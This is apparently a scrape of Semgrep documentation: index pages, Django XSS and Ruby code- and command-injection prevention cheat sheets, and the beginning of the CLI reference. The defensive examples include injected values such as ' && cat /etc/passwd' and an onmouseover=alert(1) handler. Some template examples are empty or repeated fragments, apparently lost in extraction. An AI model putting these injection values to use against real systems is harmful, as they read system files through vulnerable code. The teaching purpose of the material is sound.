Configure Semgrep in CI by setting various environment variables. Enable diff-aware scanning, connect to Semgrep AppSec Platform, and more.
View sample configuration files to run Semgrep with various CI/CD providers such as GitHub, GitLab, Jenkins, Buildkite, CircleCI, and more.
Learn how Semgrep Pro tracks findings and triage states in CI pipelines.
Packages included in the latest Semgrep docker image.
# Deployment at scale
Source: https://docs.semgrep.dev/category/deployment-at-scale
1 item
Manage tokens used to authorize requests to Semgrep AppSec Platform and API.
Guidelines on how to add or remove tags through Semgrep AppSec Platform and semgrepconfig.yml file.
Learn how to set up Semgrep Network Broker, which facilitates secure access between Semgrep and your private network.
# Glossaries
Source: https://docs.semgrep.dev/category/glossaries
Definitions of Semgrep Code product-specific terms.
Definitions of Semgrep Supply Chain and software composition analysis (SCA) terms.
# Glossaries
Source: https://docs.semgrep.dev/category/glossaries-1
Definitions of Semgrep Code product-specific terms.
Definitions of Semgrep Supply Chain and software composition analysis (SCA) terms.
# Go
Source: https://docs.semgrep.dev/category/go
Security guides and cheatsheets for the Go programming language and related frameworks.
Cheat sheet for the prevention of Command Injection vulnerabilities for Go.
Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Go and net/http.
# Java
Source: https://docs.semgrep.dev/category/java
Security guides and cheatsheets for the Java programming language and related frameworks.
Cheat sheet for the prevention of Code Injection vulnerabilities for Java.
Cheat sheet for the prevention of Command Injection vulnerabilities for Java.
Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Java and Java Server Pages (JSP).
Cheat sheet for the prevention of XML External Entity (XEE) vulnerabilities for Java.
# JavaScript
Source: https://docs.semgrep.dev/category/javascript
Security guides and cheatsheets for the JavaScript programming language, Node and related frameworks.
Cheat sheet for the prevention of Code Injection vulnerabilities for JavaScript.
Cheat sheet for the prevention of Command Injection vulnerabilities for JavaScript.
Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for ExpressJS.
# Language reference
Source: https://docs.semgrep.dev/category/language-reference
Definitions for language maturity levels across Semgrep products.
Definitions for Semgrep Code and Supply Chain analysis features.
Proprietary Semgrep features for the Java language that can increase true positives and reduce false positives.
# Language-specific features
Source: https://docs.semgrep.dev/category/language-specific-features
Proprietary Semgrep features for the Java language that can increase true positives and reduce false positives.
# Local and CLI scans
Source: https://docs.semgrep.dev/category/local-and-cli-scans
Learn how to set up Semgrep, scan your first project for security issues, and view your findings in the CLI.
Learn how to use local Semgrep rules in your scans.
Update Semgrep by running the correct commands for your environment or operating system.
Send your local scans to Semgrep AppSec Platform to view and track your findings.
Get more information when Semgrep hangs, crashes, times out, or runs very slowly.
# PR or MR comments
Source: https://docs.semgrep.dev/category/pr-or-mr-comments
Enable PR comments in your Azure DevOps repositories to display Semgrep findings to developers.
Enable pull request (PR) comments in your GitHub repositories to display Semgrep findings to developers.
Enable merge request (MR) comments in your GitLab repositories to display Semgrep findings to developers.
2 items
# Python
Source: https://docs.semgrep.dev/category/python
Security guides and cheatsheets for the Python programming language and related frameworks.
Cheat sheet for the prevention of Code Injection vulnerabilities for Python.
Cheat sheet for the prevention of Command Injection vulnerabilities for Python.
Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Python and Django.
Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Python and Flask.
Learn about Insecure Deserialization vulnerabilities for Python
# Ruby
Source: https://docs.semgrep.dev/category/ruby
Security guides and cheatsheets for the Ruby programming language and related frameworks.
Cheat sheet for the prevention of Code Injection vulnerabilities for Ruby.
Cheat sheet for the prevention of Command Injection vulnerabilities for Ruby.
Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Ruby on Rails.
# Scan repositories with the AppSec Platform
Source: https://docs.semgrep.dev/category/scan-repositories-with-the-appsec-platform
4 items
1 item
Set up your CI pipeline with Semgrep AppSec Platform for centralized rule and findings management.
Set up your CI pipeline manually with Semgrep AppSec Platform for centralized rule and findings management.
Customize your CI job to fit your organization's workflows.
Configure how Semgrep in CI pipelines handles errors and blocks findings.
1 item
View projects, detailed logs, and information for any scan.
Set your primary or default branch to ensure Semgrep full scans display accurate counts and deduplicated findings.
Not seeing what you expect in Semgrep AppSec Platform? Follow these troubleshooting steps or find out how to get one-on-one help.
# Prevent XSS in Django
Source: https://docs.semgrep.dev/cheat-sheets/django-xss
This is a cross-site scripting (XSS) prevention cheat sheet by Semgrep, Inc. It contains code patterns of potential XSS in an application. Instead of scrutinizing code for exploitable vulnerabilities, the recommendations in this cheat sheet pave a safe road for developers that mitigate the possibility of XSS in your code. By following these recommendations, you can be reasonably sure your code is free of XSS.
Learn more about [Cross-site Scripting](/learn/vulnerabilities/cross-site-scripting) vulnerability concepts.
## Mitigation summary
In general, always use the template engine provided by Django using `render()`. If you need HTML escaping, use `mark_safe()` combined with `format_html() `and review each individual usage carefully. Once reviewed, mark with `# nosem`. Beware of putting data in dangerous locations in templates. And as always, run a security checker continuously on your code.
Semgrep ruleset for this cheatsheet: [https://semgrep.dev/p/minusworld.django-xss](https://semgrep.dev/p/minusworld.django-xss)
### Check your project using Semgrep
```bash theme={null}
semgrep --config p/minusworld.django-xss
```
## 1. Server code: Marking "safe" content, which does not escape HTML
### 1.A. Using **mark\_safe()**
`mark_safe()` marks the returned content as "safe to render." This instructs the template engine to bypass HTML escaping, creating the possibility of a XSS vulnerability.
Example:
```python theme={null}
mark_safe(html_content)
```
#### References:
* [`mark_safe()` documentation](https://docs.djangoproject.com/en/3.1/ref/utils/#django.utils.safestring.mark_safe)
* [Bandit Check B703 - Django `mark_safe()`](https://bandit.readthedocs.io/en/latest/plugins/b703_django_mark_safe.html)
* [`format_html()` documentation](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)
#### Mitigation
Ban `mark_safe()`. Alternatively, if needed, use in combination with `format_html()` and review each usage carefully. Create an exemption with `# nosem`.
#### Semgrep rule
[`python.django.security.audit.avoid-mark-safe.avoid-mark-safe`](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)
### 1.B. Using the **SafeString** class directly
The `SafeString` class is how Django determines which variables should be escaped and which should not. Elements passed to `mark_safe()` are returned as a `SafeString`. Invoking `SafeString` directly will bypass HTML escaping which could create a XSS vulnerabliity.
Example:
```python theme={null}
SafeString(f"
{request.POST.get('name')}
")
```
#### References:
* [Filters and auto-escaping in Django](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)
* [`SafeString` documentation](https://docs.djangoproject.com/en/3.1/ref/utils/#django.utils.safestring.SafeString)
#### Mitigation
Ban `SafeString()`. Alternatively, prefer `mark_safe()` if necessary.
### 1.C. Registering a custom filter with **is\_safe=True**
Registering a filter with `is_safe=True` indicates to Django that the filter absolutely does not introduce any unsafe HTML characters. The value returned from the filter will be marked as "safe" when the input is also marked "safe". Generally, this is acceptable, but if you cannot be certain the filter is safe, it may introduce a XSS vulnerability.
Example:
```python theme={null}
@register.filter(is_safe=True)
def myfilter(value):
return value
```
#### References:
* [Custom filters and auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)
#### Mitigation
Do not mark filters with `is_safe=True`. Alternatively, prefer `mark_safe()` if necessary.
#### Semgrep rule
python.django.security.audit.xss.filter-with-is-safe
### 1.D. Use of the ****html**** magic method in a class
The `__html__` magic method is used by the Django template engine to determine whether the object should be escaped. If available, the value returned by the method will not be escaped and could introduce a XSS vulnerability.
Example:
```python theme={null}
class RawHtml(str):
def __html__(self):
return str(self)
```
#### References:
* [`conditional_escape()` documentation](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.conditional_escape)
* [`conditional_escape()` source code](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)
#### Mitigation
Ban `__html__` in classes. Alternatively, prefer `mark_safe()` if necessary.
#### Semgrep rule
[`python.django.security.audit.xss.html-magic-method.html-magic-method`](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)
### 1.E. Using **html\_safe()**
The `html_safe()` decorator adds the `__html__` magic method to the supplied class. The added `__html__` magic method returns the exact string representation of the class (for example `str(self)`). Because objects with the `__html__` method are not escaped, this could create a XSS vulnerability.
Example:
```python theme={null}
@html_safe
class RawHtml(str):
pass
```
#### References:
* [`html_safe()` documentation](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.html_safe)
#### Mitigation:
Ban `html_safe()`. Alternatively, prefer `mark_safe()` if necessary.
#### Semgrep rule
[`python.django.security.audit.xss.html-safe.html-safe`](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)
## 2. Server code: Bypassing the template engine
### 2.A. Directly writing a response using **HttpResponse** or similar classes
Writing results directly to `HttpResponse` or similar classes bypasses the Django template engine. This also bypasses the HTML escaping built into the template engine and creates the possibility of a XSS vulnerability. Use `render()` with a template instead.
Example:
```python theme={null}
return HttpResponse("Hello, " + name)
```
#### References:
* [Django Book - Security: XSS](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)
* [Example of XSS via `HttpResponseBadRequest`](https://semgrep.dev/blog/2020/be-careful-what-you-request-for-django-method/)
* [HttpResponse subclasses](https://docs.djangoproject.com/en/3.1/ref/request-response/#httpresponse-subclasses)
#### Mitigation:
Ban `HttpResponse` and similar classes. Alternatively, use `render()`.
#### Semgrep rule
[`python.django.security.audit.xss.direct-use-of-httpresponse`](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse)
### 2.B. Globally disabling autoescape
Autoescaping can be globally disabled in Django settings. This should never be done if you are rendering HTML; now, every response returned to the user will need to be audited to ensure it is free of XSS vulnerabilities.
Example:
```python theme={null}
TEMPLATES = [
{
...,
'OPTIONS': {'autoescape': False}
}
]
```
#### References:
* [Django template settings documentation](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)
#### Mitigation:
Ban globally disabling autoescape. Alternatively, do not globally disable escaping. If HTML escaping is necessary, use `mark_safe()`.
#### Semgrep rule
[`python.django.security.audit.xss.global-autoescape-off.global-autoescape-off`](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)
### 2.C. Setting **autoescape=False** in a template context
Setting `autoescape=False` in a template context will disable HTML escaping for that template. Any data rendered in that template could be a XSS vulnerability.
Example:
```python theme={null}
response = render(request, "index.html", {"autoescape": False})
```
#### References:
* [Context source code](https://github.com/django/django/blob/54ea290e5bbd19d87bd8dba807738eeeaf01a362/django/template/context.py#L135)
* [`Template.render()` documentation](https://docs.djangoproject.com/en/3.1/ref/templates/api/#django.template.Template.render)
* [`render_to_string()` documentation](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.loader.render_to_string)
* [`render()` documentation](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#django.shortcuts.render)
#### Mitigation:
description: "Ban `autoescape=False` in template contexts"
alternative: "Use `mark_safe()` if necessary"
rule: "python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"
## 3. Templates: unescaped variables
### 3.A. Use of the **| safe** filter
The `| safe` filter marks the content as "safe for rendering." This has the same effect as `mark_safe()` in Python code. This will permit direct rendering of HTML and create a possible XSS vulnerability.
Example:
```django theme={null}
{{ name | safe }}
```
#### References:
* [`| safe` filter documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safe)
#### Mitigation:
Ban `| safe`. Alternatively, use `mark_safe()` in Python if necessary.
#### Semgrep rule
[`python.flask.security.xss.audit.template-unescaped-with-safe.template-unescaped-with-safe`](https://semgrep.dev/r/python.flask.security.xss.audit.template-unescaped-with-safe.template-unescaped-with-safe)
### 3.B. Use of the **| safeseq** filter
The `| safeseq` filter marks the content as "safe for rendering." This has the same effect as `mark_safe()` in Python code. This will permit direct rendering of HTML and create a possible XSS vulnerability.
Example:
```django theme={null}
{{ names | safeseq | join:", " }}
```
#### References:
* [`| safeseq` documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)
#### Mitigation:
"Ban `| safeseq`. Alternatively, use `mark_safe()` in Python if necessary.
#### Semgrep rule
[`python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq`](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)
### 3.C. The **\{% autoescape off %}** block
The `{$ autoescape off %}` block disables autoescaping for whole portions of the template. Disabling autoescaping allows HTML characters to be rendered directly onto the page which could create XSS vulnerabilities.
Example:
```django theme={null}
{% autoescape off %}
```
#### References:
* [`autoescape` block documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#autoescape)
#### Mitigation:
Ban `{% autoescape off %}`. Alternatively, use `mark_safe()` in Python if necessary.
#### Semgrep rule
[`python.django.security.audit.xss.template-autoescape-off.template-autoescape-off`](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)
## 4. Templates: Variable in dangerous location"
### 4.A. Unquoted variable in HTML attribute
Unquoted template variables rendered into HTML attributes is a potential XSS vector because an attacker could inject JavaScript handlers which do not require HTML characters. An example handler might look like: `onmouseover=alert(1)`. HTML escaping will not mitigate this. The variable must be quoted to avoid this.
Example:
```django theme={null}
```
#### References:
* [Flask cross-site scripting considerations](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)
#### Mitigation:
Flag unquoted HTML attributes with Jinja expressions. Alternatively, always use quotes around HTML attributes.
#### Semgrep rule
[`python.flask.security.xss.audit.template-unquoted-attribute-var.template-unquoted-attribute-var`](https://semgrep.dev/r/python.flask.security.xss.audit.template-unquoted-attribute-var.template-unquoted-attribute-var)
### 4.B. Variable in **href** attribute
Template variables in a `href` value could still accept the `javascript:` URI. This could be a XSS vulnerability. HTML escaping will not prevent this. Use `url_for` to generate links.
Example:
```django theme={null}
```
#### References:
* [Flask cross-site scripting considerations](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)
#### Mitigation:
Flag template variables in `href` attributes. Alternatively, use `url_for` to generate links.
#### Semgrep rule
[`python.django.security.audit.xss.template-href-var.template-href-var`](https://semgrep.dev/r/python.django.security.audit.xss.template-href-var.template-href-var)
### 4.C. Variable in **\
```
#### Mitigation:
Ban template variables in `
```
#### References
* [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
* [Protecting against XSS in Rails - JavaScript contexts. (Relevant to all template engines.)](https://blog.ircmaxell.com/2018/06/protecting-rails-xss.html)
#### Mitigation
Ban template variables in `
```
#### References
* [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
* [Protecting against XSS in Rails - JavaScript contexts. (Relevant to all template engines.)](https://blog.ircmaxell.com/2018/06/protecting-rails-xss.html)
#### Mitigation
Ban template variables in `
```
#### Mitigation
Ban template variables in `
```
#### Mitigation
Ban template variables in `
```
#### References
* [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
* [Protecting against XSS in Rails - JavaScript contexts](https://blog.ircmaxell.com/2018/06/protecting-rails-xss.html)
* [`escape_javascript` documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript)
#### Mitigation
Ban template variables in `<script>` blocks. Alternatively, If necessary, use the `escape_javascript` function or its alias, `j`. Review each usage carefully and exempt with `# nosem`.
#### Semgrep rule
[`ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag`](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)
# Prevent Code Injection for Ruby
Source: https://docs.semgrep.dev/cheat-sheets/ruby-code-injection
This is a code injection prevention cheat sheet by Semgrep, Inc. It contains code patterns of potential ways to run arbitrary code in an application. Instead of scrutinizing code for exploitable vulnerabilities, the recommendations in this cheat sheet pave a safe road for developers that mitigate the possibility of code injection in your code. By following these recommendations, you can be reasonably sure your code is free of code injection.
Learn more about [Code Injection](/learn/vulnerabilities/code-injection) vulnerability concepts.
### Check your project using Semgrep
```bash theme={null}
semgrep --config auto .
```
## 1. Evaluating code
### 1.A. Evaluating code with `eval`
Evaluating code can be dangerous if dynamic content is used as input. If this input originates from outside of the program it can lead to a code injection vulnerability.
Examples:
```ruby theme={null}
# safe
str = "hello"
eval "str + ' Fred'"
# vulnerable
str = "hello"
user_input = "system('cat /etc/passwd')" # Value supplied by user
eval "str + #{user_input}"
```
```ruby theme={null}
class Thing
end
# safe
Thing.module_eval(%q{def hello() "Hello there!" end})
# vulnerable
user_input = "system('cat /etc/passwd')" # Value supplied by user
Thing.module_eval(%q{def hello() "#{user_input}" end})
```
#### References
* [eval() documentation](https://www.rubydoc.info/stdlib/core/Kernel:eval)
#### Mitigation
* Don't use `eval()`, `class_eval()`, `module_eval()`, or `instance_eval()` if possible.
* If you need to use `eval()`, `class_eval()`, `module_eval()`, or `instance_eval()` with non-literal values, ensure that executed content is not controllable by external sources.
* If it's not possible, strip everything except alphanumeric characters from the input.
#### Semgrep rule
[`ruby.lang.security.no-eval.ruby-eval`](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)
### 1.B. Evaluating code with RubyVM::InstructionSequence
The `InstructionSequence` class represents compiled instructions for the Ruby Virtual Machine. See details in [RubyVM::InstructionSequence documentation](https://ruby-doc.org/core-2.6/RubyVM/InstructionSequence.html). The `RubyVM` class itself is **not** intended for regular users. As the `RubyVM` class enables compiling code it may insecurely interpret user input. Providing user input to this class or its methods can result in a code injection vulnerability.
Example:
```ruby theme={null}
# safe
RubyVM::InstructionSequence.compile("a = 1 + 2")
# vulnerable
user_input = "system('cat /etc/passwd')" # Value supplied by user
RubyVM::InstructionSequence.compile("a = 1 + #{user_input}")
```
#### References
* [RubyVM documentation](https://ruby-doc.org/core-2.7.0/RubyVM.html)
* [RubyVM::InstructionSequence documentation](https://ruby-doc.org/core-2.6/RubyVM/InstructionSequence.html)
#### Mitigation
* Don't use `RubyVM`, or `RubyVM::InstructionSequence` if possible.
* If you need to use `RubyVM` or `RubyVM::InstructionSequence` with non-literal values or user input, ensure that inputs are from trusted sources.
#### Semgrep rule
[`ruby.lang.security.no-eval.ruby-eval`](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)
# Prevent Command Injection for Ruby
Source: https://docs.semgrep.dev/cheat-sheets/ruby-command-injection
This is a command injection prevention cheat sheet by Semgrep, Inc. It contains code patterns of potential ways to run an OS command in an application. Instead of scrutinizing code for exploitable vulnerabilities, the recommendations in this cheat sheet pave a safe road for developers that mitigate the possibility of command injection in your code. By following these recommendations, you can be reasonably sure your code is free of command injection.
Learn more about [Command Injection](/learn/vulnerabilities/command-injection) vulnerability concepts.
### Check your project using Semgrep
```bash theme={null}
semgrep --config auto .
```
## 1. Running OS commands
### 1.A. Open3 module
`Open3` grants access to running processes when running another program. For more information, see [Ruby documentation](https://docs.ruby-lang.org/en/2.0.0/Open3.html). Such methods as `capture2`, `capture2e`, `capture3`, `popen2`, `popen2e`, `popen3`, `pipeline`, `pipeline_r`, `pipeline_rw`, `pipeline_start` and `pipeline_w` are intended for running commands provided as a string. Letting user supplied data in a command that is passed as an argument to one of these methods, can create an opportunity for a command injection vulnerability.
Examples:
```ruby theme={null}
require 'open3'
# safe
Open3.popen3("ls -la")
# vulnerable
user_input = " && cat /etc/passwd" # Value supplied by user
Open3.popen3("ls #{user_input}")
```
```ruby theme={null}
require 'open3'
# safe
fname = "/usr/share/man/man1/ls.1.gz"
Open3.pipeline(["zcat", fname], "nroff -man", "colcrt")
# vulnerable
user_input = " && cat /etc/passwd" # Value supplied by user
Open3.pipeline("zcat #{user_input}", "nroff -man", "colcrt")
```
#### References
* [`Open3`](https://docs.ruby-lang.org/en/2.0.0/Open3.html) documentation.
#### Mitigation
* Do not pass user input to `Open3` methods.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* Don't pass user-controlled input or use an allowlist for inputs.
* Do not include command arguments in a command string, use parameterization instead. For example:
Instead of the following code:
```ruby theme={null}
Open3.pipeline(["bash", "-c", "myCommand myArg1 " + input_value])
```
Use:
```ruby theme={null}
Open3.pipeline(["/path/to/myCommand", "myArg1", input_value])
```
* Define a list of allowed arguments.
* Avoid non-literal values for the command string. Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline`](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)
### 1.B. open() function
The `open(...)` function creates an input/output (I/O) object connected to a stream, file, or subprocess. If the first argument starts with a pipe character (`|`), it creates a subprocess. An opportunity for a command injection vulnerability is created when the subprocess includes user input in a command argument to `open()` function.
Example:
```ruby theme={null}
# safe
open("my_file.txt")
# vulnerable
user_input = β|cat /etc/passwdβ # Value supplied by user
open(user_input)
```
#### References
* [open](https://apidock.com/ruby/Kernel/open) documentation.
#### Mitigation
* Do not provide raw user input to the `open()` function.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed command arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-open.dangerous-open`](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)
### 1.C. system() function
The `system()` function executes OS commands in a subshell. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
Example:
```ruby theme={null}
# safe
system("ls -lah /tmp")
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
system("ls #{user_input}")
```
#### References
* [`system()` documentation](https://apidock.com/ruby/Kernel/system)
#### Mitigation
* Do not provide raw user input to the `system()` function.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
### 1.D. exec() function
The `exec()` function executes OS commands. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
Example:
```ruby theme={null}
# safe
exec("ls -lah /tmp")
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
exec("ls #{user_input}")
```
#### References
* [`exec()` documentation](https://apidock.com/ruby/Kernel/exec)
#### Mitigation
* Do not provide raw user input to the `exec()` function.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
### 1.D. spawn() function
The `spawn()` function executes OS commands. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
Example:
```ruby theme={null}
# safe
pid = spawn("ls -lah /tmp")
Process.wait pid
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
pid = spawn("ls #{user_input}")
Process.wait pid
```
#### References
* [`spawn()` documentation](https://apidock.com/ruby/Kernel/spawn)
#### Mitigation
* Do not provide raw user input to the `spawn()` function.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
### 1.E. Backticks (\`\`) or %x\[command] methods
Backticks ` `` ` or `%x[command]` methods allow Ruby developers to execute system commands and return their outputs. Both methods accept string interpolation. As for other methods mentioned in this cheat sheet, when this method is used with user input, it can lead to a command injection vulnerability.
Ruby interprets the text inside of backticks as an OS command. For example, `` `ls -l` `` interpreted by Ruby prints the contents of current working directory. In addition, if the `%x` is used with various delimiters, it is also interpreted as an OS command. The `` `ls -l` `` in Ruby is equivalent to the following:
* `` %x`ls -l` ``
* `%x;ls -l;`
* `%x(ls -l)`
* `%x"ls -l"`
* `%x{ls -l}`
* `%x:ls -l:`
* `%x'ls -l'`
* `%x[ls -l]`
Example:
```ruby theme={null}
# safe
`ls -lah /tmp`
%x[ ls -lah /tmp ]
%x{ ls -lah /tmp }
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
`ls #{user_input}`
%x{ls #{user_input}}
```
#### References
* Ruby [Kernel](https://ruby-doc.org/3.2.1/Kernel.html) documentation.
* Ruby [command injection](https://ruby-doc.org/3.2.1/command_injection_rdoc.html) documentation.
#### Mitigation
* Do not provide raw user input to ` `` ` or `%x` methods.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-subshell.dangerous-subshell`](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)
### 1.F. Process.spawn and Process.exec methods
The `spawn` and `exec` methods execute a system command and return its output. Both methods accept string interpolation. Similarly to other methods mentioned in this cheat sheet, when either of these methods is used with user input, it can lead to command injection vulnerability.
[https://ruby-doc.org/3.2.1/Process.html](https://ruby-doc.org/3.2.1/Process.html)
Example:
```ruby theme={null}
# safe
Process.spawn("ls -alh")
Process.spawn("ls", "-alh")
Process.spawn(["ls", "-alh"])
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
Process.spawn("ls #{user_input}")
# safe
Process.exec("ls -alh")
Process.exec("ls", "-alh")
Process.exec(["ls", "-alh"])
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
Process.exec("ls #{user_input}")
```
#### References
* [Process](https://ruby-doc.org/3.2.1/Process.html) documentation.
#### Mitigation
* Do not provide raw user input to `Process.spawn` and `Process.exec` methods.
* Always try to use internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
### 1.F. PTY.spawn method
The `PTY.spawn` method executes OS commands in a new terminal. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
Example:
```ruby theme={null}
# safe
stdout,stdin,pid = PTY.spawn("ls -lah")
# vulnerable
user_input = ' && cat /etc/passwd' # Value supplied by user
stdout,stdin,pid = PTY.spawn("ls #{user_input}")
```
#### References
* [PTY](https://ruby-doc.org/3.2.1/exts/pty/PTY.html) library documentation.
#### Mitigation
* Do not provide raw user input to `PTY.spawn` methods.
* Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
* If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
* Strip everything except alphanumeric characters from an input provided for the command string and arguments.
#### Semgrep rule
[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
# CLI reference
Source: https://docs.semgrep.dev/cli-reference
This document provides the outputs of the following [Semgrep CLI](https://github.com/semgrep/semgrep) tool commands:
* `semgrep --help`
* `semgrep scan --help`
* `semgrep ci --help`
In addition, this page also gives an overview of the Semgrep CLI exit codes.
## Semgrep commands
For a list of available commands, run the following command:
```bash theme={null}
semgrep --help
```
Command output:
Usage: semgrep \[OPTIONS] COMMAND \[ARGS]...
To get started quickly, run `semgrep scan --config auto`
Run `semgrep SUBCOMMAND --help` for more information on each subcommand
If no subcommand is passed, will show a welcome message with usage info
Options:
-h, --help Show this message and exit.
Commands:
ci Run Semgrep on a git diff (for use in CI)
install-semgrep-pro Install the Semgrep Pro Engine
login Obtain and save credentials for semgrep.dev
logout Remove locally stored credentials to semgrep.dev
lsp Start the Semgrep LSP server (useful for IDEs)
publish Upload rule to semgrep.dev
scan Run Semgrep rules on local folders or files
show Show various types of information
test Test the rules (EXPERIMENTAL improvements over scan --test)
validate Validate the rules (EXPERIMENTAL improvements over scan --validate)
mcp Start the Semgrep MCP server
```
```
## `semgrep ci` and `semgrep scan` command options
You can invoke Semgrep using the CLI with either `semgrep ci` or `semgrep scan`.
The `semgrep scan` command is primarily used for local scans and is suitable if you want to scan your codebase for security issues without requiring a Semgrep account. You can run scans using specific rules or rulesets. For example, to use the default ruleset, the command would be `semgrep scan --config "p/default"`. By default, these scans don't return failing error codes on findings for further handling.
The `semgrep ci` command is primarily used in CI pipelines for both full scans of codebases, as well as diff-aware scans that are initiated in the context of a pull request or a merge request. With `semgrep ci`, Semgrep uses the policies and rules defined by your organization. It also uses cross-file (interfile) and cross-function (intrafile) analysis for improved results. By default, these scans return failing error codes on findings for further handling.
You can list all available `semgrep ci` or `semgrep scan` options by running `semgrep ci --help` or `semgrep scan --help`, respectively. The available options are also listed below; **select the tab that best fits the command that you're using.**
NAME
semgrep scan - run semgrep rules on files
SYNOPSIS
semgrep scan \[OPTION]β¦ \[TARGETS]β¦
DESCRIPTION
Searches TARGET paths for matches to rules or patterns. Defaults to
searching entire current working directory.
To get started quickly, run
semgrep --config auto .
This will automatically fetch rules for your project from the Semgrep
